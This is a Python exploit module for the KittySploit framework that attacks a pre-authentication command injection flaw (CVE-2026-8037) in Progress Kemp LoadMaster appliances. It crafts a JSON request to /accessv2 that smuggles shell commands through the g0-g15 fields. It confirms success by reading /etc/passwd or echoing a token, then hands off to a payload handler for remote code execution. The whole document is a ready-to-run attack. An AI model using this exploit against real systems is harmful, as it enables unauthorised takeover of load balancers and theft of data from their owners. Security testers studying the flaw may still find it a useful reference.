Progress LoadMaster Command Injection (CVE-2026-8037)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Progress Kemp LoadMaster pre-auth command injection (CVE-2026-8037)."""

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Progress LoadMaster Command Injection (CVE-2026-8037)',
        'description': (
            'Exploits CVE-2026-8037 unauthenticated OS command injection in Progress ADC '
            'LoadMaster /accessv2 JSON API via malformed g0-g15 fields (WatchTowr pattern).'
        ),
        'author': ['KittySploit Team', 'WatchTowr'],
        'cve': ['CVE-2026-8037'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-8037',
            'https://labs.watchtowr.com/enterprise-tech-in-shell-out-progress-kemp-loadmaster-uninitialized-heap-to-pre-auth-rce-cve-2026-8037/',
        ],
        'tags': ['loadmaster', 'kemp', 'progress', 'rce', 'pre-auth', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2026_8037_detect'],
            },
        },
    }

    def _injection_body(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        inject = f'AAAAAAAAAAAAAAAA"; {safe} #'
        fields = {f'g{i}': inject for i in range(16)}
        payload = {
            'cmd': 'getall',
            'apiuser': "''''",
            'apipass': 'BBBBB',
            **fields,
        }
        return json.dumps(payload)

    def execute(self, cmd: str) -> str:
        r = self.http_request(
            method='POST',
            path='/accessv2',
            data=self._injection_body(cmd),
            headers={'Content-Type': 'application/json', 'Accept': '*/*'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2026-8037 command injection confirmed',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'No passwd output from /accessv2', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()